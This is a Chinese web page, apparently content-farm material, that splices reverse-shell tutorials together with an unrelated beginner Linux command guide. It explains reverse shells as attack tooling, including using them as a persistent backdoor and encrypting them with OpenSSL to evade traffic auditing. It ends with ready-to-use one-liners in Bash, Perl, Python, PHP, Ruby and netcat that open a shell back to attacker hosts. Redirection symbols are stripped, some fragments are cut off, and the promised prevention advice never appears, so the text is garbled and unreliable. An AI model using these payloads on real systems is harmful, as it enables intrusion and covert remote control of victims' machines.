將這句話拆開來看, bash -i , , /dev/tcp/ , 01 ,有三個(gè)知識(shí)點(diǎn)。

創(chuàng)新互聯(lián)從2013年成立,先為澗西等服務(wù)建站,澗西等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為澗西企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問題。
(1) bash -i 是打開一個(gè)交互的bash
(2) /dev/tcp/ 是Linux中的一個(gè)特殊設(shè)備,打開這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用,建立一個(gè)socket連接,讀寫這個(gè)文件就相當(dāng)于在這個(gè)socket連接中傳輸數(shù)據(jù)。同理,Linux中還存在/dev/udp/。
(3) 和 01 這兩個(gè)涉及到Linux文件描述符和重定向。此處的 是取地址符
(1)文件描述符
Linux啟動(dòng)時(shí)會(huì)默認(rèn)打開三個(gè)文件描述符(實(shí)現(xiàn)文件讀寫操作),Linux把鍵盤、顯示器等設(shè)備也當(dāng)做文件用文件描述符進(jìn)行控制,如果要修改默認(rèn)設(shè)備就需要進(jìn)行重定向。
(2)重定向
輸入的重定向包括, 和 ,輸出的重定向包括, 和 , n file 代表將文件描述符 n 重定向到file指代的文件(以只讀方式打開),如果n省略就是0(標(biāo)準(zhǔn)輸入)。同理如果是輸出的重定向, n file ,n省略則默認(rèn)是1。
錯(cuò)誤輸出的重定向有三種形式
其中, 和 是一個(gè)意思,都是將標(biāo)準(zhǔn)錯(cuò)誤輸出合并到標(biāo)準(zhǔn)輸出中。 21 和 file 可以用如下過程圖表示
需要注意的是,上述輸入輸出重定向,將輸入和輸出綁定到文件或者設(shè)備只對(duì)該條指令有效,如果想要一直有效,就需要添加exec指令 exec n / file/n
(3)復(fù)制
與之形似的是文件描述符的復(fù)制 nm / nm ,這兩個(gè)都是將文件描述符 n 復(fù)制到 m ,兩者的區(qū)別是,前者是以只讀的形式打開,后者是以寫的形式打開,因?yàn)樽x/寫方式對(duì)于復(fù)制操作幾乎沒有影響所以兩者基本可以看作是等價(jià)的。這里的 目的是區(qū)分以數(shù)字為名字的文件和文件描述符的數(shù)值,如果沒有 系統(tǒng)會(huì)認(rèn)為是將文件描述符重定向到了一個(gè)數(shù)字作為文件名的文件,而不是另一個(gè)文件描述符。
此時(shí)再來看這句命令,可與理解為,創(chuàng)建一個(gè)可交互的bash和一個(gè)到172.168.1.1:80的TCP鏈接,然后將bash的輸入輸出錯(cuò)誤都重定向到在172.168.1.1:80監(jiān)聽的進(jìn)程。
首先,反彈shell可以理解為,攻擊者監(jiān)聽在TCP/UDP端口,被控制端的請(qǐng)求被轉(zhuǎn)發(fā)到該端口,可以控制其輸入輸出。一般攻擊者攻擊了一臺(tái)機(jī)器,并用自己的主機(jī)去連接該機(jī)器的端口,這是一種“正向連接”,遠(yuǎn)程桌面、web服務(wù)、ssh、telnet等都是正向連接的一種。但是如果被攻擊的機(jī)器處于內(nèi)網(wǎng)中可能造成無法連接,或者有防火墻等限制,再或者攻擊者需要進(jìn)行實(shí)時(shí)控制,正向連接是無法滿足需要的。所以有了“反向連接”,即讓被攻擊的主機(jī)主動(dòng)去連接攻擊者的服務(wù)器。
所以我們還可以從反向連接的角度來理解一下 01 。如果只是 bash -i /dev/tcp/172.168.1.1/80 ,將輸出描述符連接到了端口,該端口可接收到我們的輸出,即我們正向連接了被攻擊者的機(jī)器,但是我們輸入shell后是無法看到回顯的。回顯只會(huì)顯示在被攻擊者的機(jī)器上。如果我們想要得到回顯,需要將被攻擊機(jī)器的輸入描述符連接到我們監(jiān)聽的端口上。
也就是說如果我們想要看到回顯,除了先將輸出描述符連接到端口上,還需要將其輸入描述符也連接到端口上。即輸入描述符0和輸出描述符1連接相同, 01 即可解決。這就形成了一個(gè)回路,實(shí)現(xiàn)了遠(yuǎn)程交互式shell的功能。
不過這樣的一條指令還不夠完善,因?yàn)檫@條指令會(huì)使得我們?cè)诒还舻臋C(jī)器上依然能看到我們?cè)诠粽邫C(jī)器中執(zhí)行的指令,那么解決辦法就是將錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出進(jìn)行混合,即將 bash -i 換為 bash -i
Bash相關(guān)shell主要有以下幾種:
剛才詳細(xì)講的是第一種bash shell,第二種是將 這種錯(cuò)誤輸出的混合方式改成了 21 ,2代表錯(cuò)誤輸出,1代表標(biāo)準(zhǔn)輸出,2指向了1,即輸出混合了。文件描述符的復(fù)制 nm / nm 兩種雖然讀寫不同但是對(duì)于shell的效果是等價(jià)的,即和 01 效果相同。所以第二種就是第一種的變種。第四種同理,輸入、輸出、報(bào)錯(cuò)都定位到同一位置。第五種選了一個(gè)新的文件描述符196,道理類似。
對(duì)于第三種bash shell,exec已經(jīng)在前面提到過可以持續(xù)連接,后面的關(guān)鍵點(diǎn)如下:
從文件中依次讀取每一行,將其賦值給 line 變量(其他也可),之后在循環(huán)中對(duì)line進(jìn)行操作。這里不再從文件中讀取,而是通過管道符對(duì)攻擊者機(jī)器上輸入的命令進(jìn)行依次執(zhí)行,并且將標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出都重定向到了文件描述符5,也就是攻擊機(jī)上,實(shí)現(xiàn)交互式shell的功能。
另外,本文最開始的時(shí)候說到/dev/tcp/是Linux中的一個(gè)特殊設(shè)備類似的還有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i /dev/udp/172.168.1.1/80 01
除了bash還有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用腳本語言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反彈shell的方式,這里就不一一列舉了,原理類似。寫這篇文章總結(jié)shell的過程中順手將網(wǎng)絡(luò)上的shell進(jìn)行了收集,將近80條,寫了BashShell.py,就是個(gè)簡(jiǎn)單的查詢shell的工具,有需要的下方留言
shell是滲透中常用的名詞,像getshell,webshell,反彈shell等等,都和shell相關(guān)。
百度百科解釋的shell:
在計(jì)算機(jī)科學(xué)中,Shell俗稱殼(用來區(qū)別于核),是指“為使用者提供操作界面”的軟件(命令解析器)。它類似于DOS下的command.com和后來的cmd.exe。它接收用戶命令,然后調(diào)用相應(yīng)的應(yīng)用程序。
簡(jiǎn)單說用戶通過殼訪問操作系統(tǒng)內(nèi)核的服務(wù),也就是由殼到內(nèi)核,執(zhí)行系統(tǒng)命令。
getshell:獲取到目標(biāo)的命令執(zhí)行權(quán)限
webshell:指網(wǎng)站后門,通過web服務(wù)進(jìn)行命令執(zhí)行
反彈shell:把命令行的輸入輸出轉(zhuǎn)移到其它主機(jī)
1、webshell下執(zhí)行命令不交互,為了方便提權(quán)或其它操作必須要反彈shell。
2、反彈shell相當(dāng)于新增一個(gè)后門,當(dāng)webshell被發(fā)現(xiàn)刪除后權(quán)限不會(huì)丟失。
使用whereis命令去確定目標(biāo)支持的反彈方法。
bash反彈是實(shí)戰(zhàn)中用的最多的方法
把命令拆開分析:
1、bash -i代表在本地打開一個(gè)bash
2、/dev/tcp/是Linux中的一個(gè)特殊設(shè)備,打開這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用,建立一個(gè)socket連接
3、后面跟上/dev/tcp/ip/port這個(gè)文件代表將標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出重定向到這個(gè)文件,也就是傳遞到遠(yuǎn)程vps
4、遠(yuǎn)程vps開啟對(duì)應(yīng)的端口去監(jiān)聽,就會(huì)接收到這個(gè)bash的標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出。
需要目標(biāo)主機(jī)安裝了nc
使用其他版本的 nc
配合命名管道進(jìn)行反彈:
首先使用socket與遠(yuǎn)程建立起連接,接下來使用到了os庫的dup2方法將標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、標(biāo)準(zhǔn)錯(cuò)誤輸出重定向到遠(yuǎn)程,dup2這個(gè)方法有兩個(gè)參數(shù),分別為文件描述符fd1和fd2,當(dāng)fd2參數(shù)存在時(shí),就關(guān)閉fd2,然后將fd1代表的那個(gè)文件強(qiáng)行復(fù)制給fd2,在這里可以把fd1和fd2看作是C語言里的指針,將fd1賦值給fd2,就相當(dāng)于將fd2指向于s.fileno(),fileno()返回的是一個(gè)文件描述符,在這里也就是建立socket連接返回的文件描述符,打印出來數(shù)值為3
0代表標(biāo)準(zhǔn)輸入、1代表標(biāo)準(zhǔn)輸出、2代表標(biāo)準(zhǔn)錯(cuò)誤輸出、3代表重定向到遠(yuǎn)程
接下來使用os的subprocess在本地開啟一個(gè)子進(jìn)程,傳入?yún)?shù)“-i”使bash以交互模式啟動(dòng),標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出、標(biāo)準(zhǔn)錯(cuò)誤輸出又被重定向到了遠(yuǎn)程,這樣的話就可以在遠(yuǎn)程執(zhí)行輸入命令了。
需要php關(guān)閉safe_mode選項(xiàng),才可以使用exec函數(shù)。
使用php的exec函數(shù)執(zhí)行方法1反彈shell的命令
使用php的fsockopen去反彈shell
exec反彈
perl反彈
ruby反彈
lua反彈
通過上述命令反彈shell得到的shell并不能稱為完全交互的shell,通常稱之為'啞'shell。
通常存在以下缺點(diǎn)
因此有必要去獲取一個(gè)完全交互的shell。
1、在啞 shell 中執(zhí)行python,使用pty模塊,創(chuàng)建一個(gè)原生的終端,命令如下:
運(yùn)行完后
2、鍵入 Ctrl-Z暫停任務(wù),切回到 VPS 的命令行中;在 VPS 中執(zhí)行:
3、在啞 shell 中執(zhí)行,得到一個(gè)完全交互的shell,支持命令補(bǔ)全、歷史命令查看、語法高亮、vim編輯等功能。
部分防護(hù)設(shè)備會(huì)對(duì)內(nèi)外網(wǎng)傳輸流量進(jìn)行審查,反彈shell執(zhí)行命令都是以明文進(jìn)行傳輸?shù)模苋菀妆徊闅ⅰ?/p>
因此需要將原始流量使用 openssl 加密,繞過流量審計(jì)設(shè)備。
1、首先vps上生成SSL證書的公鑰/私鑰對(duì),信息懶得填,一直回車即可。
2、vps使用 OpenSSL 監(jiān)聽一個(gè)端口
3、目標(biāo)主機(jī)執(zhí)行反彈加密shell
反彈成功,成功接收到ssl流量加密的shell。
【Reverse shell】也叫反彈shell,是滲透攻擊的基本功,如果你找到機(jī)會(huì)讓遠(yuǎn)端的機(jī)器執(zhí)行你注入的代碼,你的代碼怎樣才能為你生成一個(gè)可以交互操作的shell呢?
你可以在本地先用nc啟動(dòng)一個(gè)監(jiān)聽進(jìn)程【nc -l 端口號(hào)】
然后在遠(yuǎn)端執(zhí)行【bash -i /dev/tcp/你本地的IP/端口號(hào) 01】即可。
簡(jiǎn)單來說,Shell就是實(shí)現(xiàn)用戶命令的接口,通過這個(gè)接口我們就能實(shí)現(xiàn)對(duì)計(jì)算機(jī)的控制,比如我們常見的ssh就是執(zhí)行的Shell命令實(shí)現(xiàn)對(duì)遠(yuǎn)程對(duì)服務(wù)器的控制。
那反彈Shell是啥呢?其英文名叫做Reverse
Shell,具體干什么的呢?就是控制端首先監(jiān)聽某個(gè)TCP/UDP端口,然后被控制端向這個(gè)端口發(fā)起一個(gè)請(qǐng)求,同時(shí)將自己命令行的輸入輸出轉(zhuǎn)移到控制端,從而控制端就可以輸入命令來控制被控端了。
比如說,我們有兩臺(tái)主機(jī)A、B,我們最終想實(shí)現(xiàn)在A上控制B。那么如果用正向Shell,其實(shí)就是在A上輸入B的連接地址,比如通過ssh連接到
B,連接成功之后,我們就可以在A上通過命令控制B了。
如果用反向Shell,那就是在A上先開啟一個(gè)監(jiān)聽端口,然后讓B去連接A的這個(gè)端口,連接成功之后,A這邊就能通過命令控制B了。
反彈shell有什么用?
還是原來的例子,我們想用A來控制B,如果想用ssh等命令來控制,那得輸入B的sshd地址或者端口對(duì)吧?但是在很多情況下,由于防火墻、安全組、局域網(wǎng)、NAT等原因,我們實(shí)際上是無法直接連接到B的,比如:
A雖然有公網(wǎng)IP,但B是一個(gè)處于內(nèi)網(wǎng)的機(jī)器,A就沒法直接連到B上。
B上開了防火墻或者安全組限制,sshd的服務(wù)端口22被封閉了。
B是一臺(tái)撥號(hào)主機(jī),其IP地址經(jīng)常變動(dòng)。
假如B被攻擊了,我們想讓B向A匯報(bào)自己的狀況,那自然就需要B主動(dòng)去連接A。
如果是這些情況,我們就可以用反彈Shell用A來控制B了。
學(xué)習(xí)Linux系統(tǒng),命令是最基礎(chǔ)的一部分,有著很重要的地位,所以入門必須掌握好常用命令。下面由我為大家整理了Linux系統(tǒng)常用的基本命令入門篇,希望對(duì)大家有幫助!
Linux系統(tǒng)常用的基本命令入門篇一、基礎(chǔ)命令
1.Linu x的進(jìn) 入與退出系統(tǒng)
進(jìn)入Linux系統(tǒng):
必須要輸入用戶的賬號(hào),在系統(tǒng)安裝過程中可以創(chuàng)建以下兩種帳號(hào):
1.root--超級(jí)用戶帳號(hào)(系統(tǒng)管理員),使用這個(gè)帳號(hào)可以在系統(tǒng)中做任何事情。
2.普通用戶--這個(gè)帳號(hào)供普通用戶使用,可以進(jìn)行有限的操作。
一般的Linux使用者均為普通用戶,而系統(tǒng)管理員一般使用超級(jí)用戶帳號(hào)完成一些系統(tǒng)管理的工作。如果只需要完成一些由普通帳號(hào)就能完成的任務(wù),建議不要使用超級(jí)用戶帳號(hào),以免無意中破壞系統(tǒng)。影響系統(tǒng)的正常運(yùn)行。
用戶登錄分兩步:第一步,輸入用戶的登錄名,系統(tǒng)根據(jù)該登錄名識(shí)別用戶;第二步,輸入用戶的口令,該口令是用戶自己設(shè)置的一個(gè)字符串,對(duì)其他用戶是保密的,是在登錄時(shí)系統(tǒng)用來辨別真假用戶的關(guān)鍵字。
當(dāng)用戶正確地輸入用戶名和口令后,就能合法地進(jìn)入系統(tǒng)。屏幕顯示:
[root@loclhost/root] #
這時(shí)就可以對(duì)系統(tǒng)做各種操作了。注意超級(jí)用戶的提示符是ldquo;#rdquo;,其他用戶的提示符是ldquo;$rdquo;。
2.修改口令
為了更好的保護(hù)用戶帳號(hào)的安全,Linux允許用戶隨時(shí)修改自己的口令,修改口令的命令是passwd,它將提示用戶輸入舊口令和新口令,之后還要求用戶再次確認(rèn)新口令,以避免用戶無意中按錯(cuò)鍵。如果用戶忘記了口令,可以向系統(tǒng)管理員申請(qǐng)為自己重新設(shè)置一個(gè)。
3.虛擬控制臺(tái)
Linux是一個(gè)真正的多用戶 操作系統(tǒng) ,它可以同時(shí)接受多個(gè)用戶登錄。Linux還允許一個(gè)用戶進(jìn)行多次登錄,這是因?yàn)長inux和UNIX一樣,提供了虛擬控制臺(tái)的訪問方式,允許用戶在同一時(shí)間從控制臺(tái)進(jìn)行多次登錄。虛擬控制臺(tái)的選擇可以通過按下Alt鍵和一個(gè)功能鍵來實(shí)現(xiàn),通常使用F1-F6例如,用戶登錄后,按一下Alt-F2鍵,用戶又可以看到"login:"提示符,說明用戶看到了第二個(gè)虛擬控制臺(tái)。然后只需按Alt-F1鍵,就可以回到第一個(gè)虛擬控制臺(tái)。 一個(gè)新安裝的Linux系統(tǒng)默認(rèn)允許用戶使用Alt-F1到Alt-F6鍵來訪問前六個(gè)虛擬控制臺(tái)。虛擬控制臺(tái)可使用戶同時(shí)在多個(gè)控制臺(tái)上工作,真正體現(xiàn)Linux系統(tǒng)多用戶的特性。用戶可以在某一虛擬控制臺(tái)上進(jìn)行的工作尚未結(jié)束時(shí),切換到另一虛擬控制臺(tái)開始另一項(xiàng)工作。
退出系統(tǒng)
不論是超級(jí)用戶,還是普通用戶,需要退出系統(tǒng)時(shí),在shell提示符下,鍵入exit命令即可。
4.查看命令幫助信息
man命令
man命令用于查詢命令和程序的使用 方法 和參數(shù)。
例如:
man ls
將顯示ls命令的基本格式和使用方法
Linux系統(tǒng)常用的基本命令入門篇二、關(guān)機(jī)重啟命令
首先,是關(guān)機(jī)/重啟命令,僅在虛擬機(jī)時(shí)使用,實(shí)際工作中用不到
reboot 一般不跟參數(shù)使用,輸入指令即可重啟
shutdown 一般需要跟參數(shù),例:
shutdown -r 延時(shí)多少分鐘重啟,一般使用now
shutdown -r now 立即重啟
shutdown -f 強(qiáng)制重啟
跟windows一樣,linux也存在注銷功能
exit
1)halt
halt 可不接參數(shù)
halt -f 強(qiáng)制關(guān)機(jī)
2)poweroff
poweroff 可不接參數(shù)使用
poweroff -f 強(qiáng)制關(guān)機(jī)
3)init 0
4)shutdown 不可單獨(dú)使用
shutdown -h 分鐘數(shù) 延時(shí)多久關(guān)機(jī)
shutdown -h now 立即關(guān)機(jī)
Linux系統(tǒng)常用的基本命令入門篇三、vi編輯
vi命令是UNIX操作系統(tǒng)和類UNIX操作系統(tǒng)中最通用的全屏幕純文本編輯器。
Linux中的vi編輯器叫vim,它是vi的增強(qiáng)版(vi Improved),與vi編輯器完全兼容,而且實(shí)現(xiàn)了很多增強(qiáng)功能。
vi編輯器支持編輯模式和命令模式,編輯模式下可以完成文本的編輯功能,命令模式下可以完成對(duì)文件的操作命令,要正確使用vi編輯器就必須熟練掌握著兩種模式的切換。
默認(rèn)情況下,打開vi編輯器后自動(dòng)進(jìn)入命令模式。從編輯模式切換到命令模式使用ldquo;escrdquo;鍵,從命令模式切換到編輯模式使用ldquo;Ardquo;、ldquo;ardquo;、ldquo;Ordquo;、ldquo;ordquo;、ldquo;Irdquo;、ldquo;irdquo;鍵。
vi編輯器提供了豐富的內(nèi)置命令,有些內(nèi)置命令使用鍵盤組合鍵即可完成,有些內(nèi)置命令則需要以冒號(hào)ldquo;:rdquo;開頭輸入。常用內(nèi)置命令如下:
1 Ctrl+u:向文件首翻半屏;
2 Ctrl+d:向文件尾翻半屏;
3 Ctrl+f:向文件尾翻一屏;
4 Ctrl+b:向文件首翻一屏;
5 Esc:從編輯模式切換到命令模式;
6 ZZ:命令模式下保存當(dāng)前文件所做的修改后退出vi;
7 :行號(hào):光標(biāo)跳轉(zhuǎn)到指定行的行首;
8 :$:光標(biāo)跳轉(zhuǎn)到最后一行的行首;
9 x或X:刪除一個(gè)字符,x刪除光標(biāo)后的,而X刪除光標(biāo)前的;
10 D:刪除從當(dāng)前光標(biāo)到光標(biāo)所在行尾的全部字符;
11 dd:刪除光標(biāo)行正行內(nèi)容;
12 ndd:刪除當(dāng)前行及其后n-1行;
13 nyy:將當(dāng)前行及其下n行的內(nèi)容保存到寄存器?中,其中?為一個(gè)字母,n為一個(gè)數(shù)字;
14 p:粘貼文本操作,用于將緩存區(qū)的內(nèi)容粘貼到當(dāng)前光標(biāo)所在位置的下方;
15 P:粘貼文本操作,用于將緩存區(qū)的內(nèi)容粘貼到當(dāng)前光標(biāo)所在位置的上方;
16 /字符串:文本查找操作,用于從當(dāng)前光標(biāo)所在位置開始向文件尾部查找指定字符串的內(nèi)容,查找的字符串會(huì)被加亮顯示;
17 ?name:文本查找操作,用于從當(dāng)前光標(biāo)所在位置開始向文件頭部查找指定字符串的內(nèi)容,查找的字符串會(huì)被加亮顯示;
18 a,bs/F/T:替換文本操作,用于在第a行到第b行之間,將F字符串換成T字符串。其中,ldquo;s/rdquo;表示進(jìn)行替換操作;
19 a:在當(dāng)前字符后添加文本;
20 A:在行末添加文本;
21 i:在當(dāng)前字符前插入文本;
22 I:在行首插入文本;
23 o:在當(dāng)前行后面插入一空行;
24 O:在當(dāng)前行前面插入一空行;
25 :wq:在命令模式下,執(zhí)行存盤退出操作;
26 :w:在命令模式下,執(zhí)行存盤操作;
27 :w!:在命令模式下,執(zhí)行強(qiáng)制存盤操作;
28 :q:在命令模式下,執(zhí)行退出vi操作;
29 :q!:在命令模式下,執(zhí)行強(qiáng)制退出vi操作;
30 :e文件名:在命令模式下,打開并編輯指定名稱的文件;
31 :n:在命令模式下,如果同時(shí)打開多個(gè)文件,則繼續(xù)編輯下一個(gè)文件;
32 :f:在命令模式下,用于顯示當(dāng)前的文件名、光標(biāo)所在行的行號(hào)以及顯示比例;
33 :set nu:在命令模式下,用于在最左端顯示行號(hào);
34 :set nonu:在命令模式下,用于在最左端不顯示行號(hào);
35 :1,3y 復(fù)制第一行到第三行
36 :1,3d 刪除第一行到第三行
37 :1,3s/str/str_new/g 替換第一行到第三行中的字符串
38 :1,3s/str/str_new 替換第一行到第三行中的字符串第一個(gè)字符
39 :1,3 g/str /d 刪除第一行到第三行中含有這個(gè)字符串的行
Linux常用命令一、查詢相關(guān)
find
按規(guī)則查找某個(gè)文件或文件夾,包括子目錄
find . -name '_sh' -- 以.sh結(jié)尾的文件
find . -name '_hannel_ -- 包含channel字符的文件
find . -name 'build_ -- 以build開頭的文件
find . -name 'abc??' -- abc后面有兩個(gè)字符的文件
grep
查找內(nèi)容包含指定的范本樣式的文件,Global Regular Expression Print
grep -n pattern files -- 規(guī)則 -n表示顯示行號(hào)
grep -n 'PostsActivity' AndroidManifest.xmlgrep -n '\d' AndroidManifest.xmlgrep 'aapt' build-channel.xml -- 文件中包含字符串的所有地方
grep -n 'aapt' build-channel.xml -- 文件中包含字符串的所有地方,并顯示行號(hào)
ps -e | grep java -- 所有java進(jìn)程
ps -e | grep -i qq --所有qq進(jìn)程,不區(qū)分大小寫
find . -name '_hannel.xml' | xargs grep -n 'aapt' -- 在以channel.xml結(jié)尾的文件中查找包含lsquo;aaptrsquo;關(guān)鍵字的地方
ls | grep 'channel' -- 包含channel關(guān)鍵字的文件
which
在PATH變量指定的路徑中,搜索某個(gè)系統(tǒng)命令的位置,并且返回第一個(gè)搜索結(jié)果
which zipwhich grep
Linux常用命令二、查看命令
tail
tail [-f] [-c Number | -n Number | -m Number | -b Number | -k Number] [File]
從指定點(diǎn)開始將文件寫到標(biāo)準(zhǔn)輸出。使用tail命令的-f選項(xiàng)可以方便的查閱正在改變的日志文件,tail -f filename會(huì)把filename里最尾部的內(nèi)容顯示在屏幕上,并且不斷刷新,使你看到最新的文件內(nèi)容。
tail -f test.log,循環(huán)查看文件內(nèi)容,Ctrl+c來終止
tail -n 5 test.log,顯示文件最后5行內(nèi)容
tail -n +5 test.log,從第5行開始顯示文件
more
more [-dlfpcsu] [-num] [+/ pattern] [+linenum] [file...]
more命令和cat的功能一樣都是查看文件里的內(nèi)容,但有所不同的是more可以按頁來查看文件的內(nèi)容,還支持直接跳轉(zhuǎn)行等功能。
more +3 test.log,顯示文件中從第3行起的內(nèi)容
more -5 test.log,設(shè)定每屏顯示行數(shù)
ls -l | more -5,每頁顯示5個(gè)文件信息
more +/day3 test.log,查找第一個(gè)出現(xiàn)"day3"字符串的行,并從該處前兩行開始顯示輸出
less
less [options] [file...]
與more命令一樣,less命令也用來分屏顯示文件的內(nèi)容。但是二者存在差別:less命令允許用戶向前或向后瀏覽文件,而more命令只能向前瀏覽。用less命令顯示文件時(shí),用PageUp鍵向上翻頁,用PageDown鍵向下翻頁。要退出less程序,應(yīng)按Q鍵。
less test.log,查看文件
ps -ef | less,查看進(jìn)程信息并通過less分頁顯示
history | less,查看命令歷史使用記錄并通過less分頁顯示
less test1.log test2.log,瀏覽多個(gè)文件,n和p切換文件
watch
watch [options] command
每隔一段時(shí)間重復(fù)運(yùn)行一個(gè)命令,默認(rèn)間隔時(shí)間是2秒。要運(yùn)行的命令直接傳給shell(注意引用和轉(zhuǎn)義特殊字符)。結(jié)果會(huì)展示為全屏模式,這樣你可以很方便的觀察改變
watch -n 60 date,執(zhí)行date命令每分鐘一次,輸入^C 退出
watch -d ls -l,查看目錄變化
watch -d rsquo;ls -l | fgrep joersquo;,想找joe用戶的文件
watch -d 'ls -l|grep scf',監(jiān)測(cè)當(dāng)前目錄中 scf' 的文件的變化
watch -n 10 'cat /proc/loadavg',10秒一次輸出系統(tǒng)的平均負(fù)載
watch -n 1 -d netstat -ant,每隔一秒高亮顯示網(wǎng)絡(luò)鏈接數(shù)的變化
watch -n 1 -d 'pstree | grep http',每隔一秒高亮顯示http鏈接數(shù)的變化
Linux常用命令三、文件相關(guān)
vi
vi file
按i鍵,進(jìn)入編輯模式
按esc鍵,進(jìn)入命令模式
:w 保存文件但不退出vi
:w file 將修改另外保存到file中,不退出vi
:w! 強(qiáng)制保存,不推出vi
:wq 保存文件并退出vi
:wq! 強(qiáng)制保存文件,并退出vi
q: 不保存文件,退出vi
:q! 不保存文件,強(qiáng)制退出vi
:e! 放棄所有修改,從上次保存文件開始再編輯
chmod
change mode,變更文件或目錄的讀、寫、運(yùn)行權(quán)限
chmod [-cfvR] [--help] [--version] mode file...
mode:權(quán)限設(shè)定字串,格式如下 : [ugoa...][[+-=][rw xX ]...][,...]
u 表示該檔案的擁有者,g 表示與該檔案的擁有者屬于同一個(gè)群體(group)者,o 表示其他以外的人,a 表示這三者皆是
+ 表示增加權(quán)限、- 表示取消權(quán)限、= 表示唯一設(shè)定權(quán)限。
r 表示可讀取,w 表示可寫入,x 表示可執(zhí)行,X 表示只有當(dāng)該檔案是個(gè)子目錄或者該檔案已經(jīng)被設(shè)定過為可執(zhí)行。
chmod也可以用數(shù)字來表示權(quán)限,語法為:chmod abc file,如chmod 777 file
其中a,b,c各為一個(gè)數(shù)字,分別表示User、Group、及Other的權(quán)限。 r=4,w=2,x=1
chmod 777 file,等同于 chmod a=rwx file
chmod ug=rwx,o=x file,等同于 chmod 771 file
chmod 4755 filename,可使此程序具有root的權(quán)限
ls -l 可以查看列出當(dāng)前用戶的文件權(quán)限
zip
zip -r filename.zip filesdir
zip -r test.zip ./_把當(dāng)前所有文件壓縮到test.zip
zip -r test.zip test,把test文件所有文件及目錄,要是到test.zip
zip -d test.zip test.txt,刪除壓縮文件中test.txt文件
zip -m test.zip ./test.txt,向壓縮文件中test.zip中添加test.txt文件
zip -r test.zip file1 file2 file3 filesdir,處理多個(gè)文件和目錄,空格隔開
unzip
unzip zip-file,解壓到當(dāng)前目錄
unzip -d dst-dir zip-file,解壓到指定的目錄,-d后為指定目錄
unzip -n zip-file,不覆蓋已經(jīng)存在的文件,-n為不要覆蓋原有的文件
unzip -n -d dst-dir zip-file,解壓到指定的目錄,不覆蓋已經(jīng)原有的文件
unzip -o -d dst-dir zip-file,-o不必先詢問用戶覆蓋原有文件
unzip -l zip-file,僅查看壓縮文件內(nèi)所包含的文件
tar
tar cvf test.tar test,把test下所有文件和目錄做備份tar czvf test.tar.gz test,把test下所有文件和目錄做備份并進(jìn)行壓縮tar xzvf test.tar.gz,把這個(gè)備份文件還原并解壓縮tar tvf test.tar | more,查看備份文件的內(nèi)容,并以分屏方式顯示在 顯示器 上
tar czvf test.tar.gz test --exclude=test/svn,備份壓縮并排除目錄
touch
etcat-0.7.1.tar.gz
然后當(dāng)然是解壓了
tar zxvf netcat-0.7.1.tar.gz
解壓完畢之后會(huì)生成目錄,要cd進(jìn)去
cd netcat-0.7.1
然后進(jìn)行編譯前的配置。
./configure
配置完了之后就可以make編譯了。
編譯成功就生成了netcat可執(zhí)行的文件了,位于src目錄,cd進(jìn)去進(jìn)行運(yùn)行./netcat -h.如圖
本地Windows監(jiān)聽
nc -vv -l -p 1234
遠(yuǎn)程Windows轉(zhuǎn)發(fā)
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234
遠(yuǎn)程Linux轉(zhuǎn)發(fā)
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php
———————NetCat for linux 參數(shù)e————————-
下載netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–
一句話反彈命令
[Bash]
bash -i /dev/tcp/10.0.0.1/8080 01
[PERL]
perl
-e ‘use
Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”S”);open(STDOUT,”S”);open(STDERR,”S”);exec(“/bin/sh
-i”);};’
[Python]
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
[PHP]
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i 3 3 23″);’
[Ruby]
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i %d %d 2%d”,f,f,f)’
[Netcat]
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 10.0.0.1 1234 /tmp/f
網(wǎng)站標(biāo)題:Linux反彈命令,如何防止linux反彈
文章路徑:http://chinadenli.net/article45/dsiegei.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站設(shè)計(jì)公司、網(wǎng)頁設(shè)計(jì)公司、定制網(wǎng)站、響應(yīng)式網(wǎng)站、ChatGPT、做網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)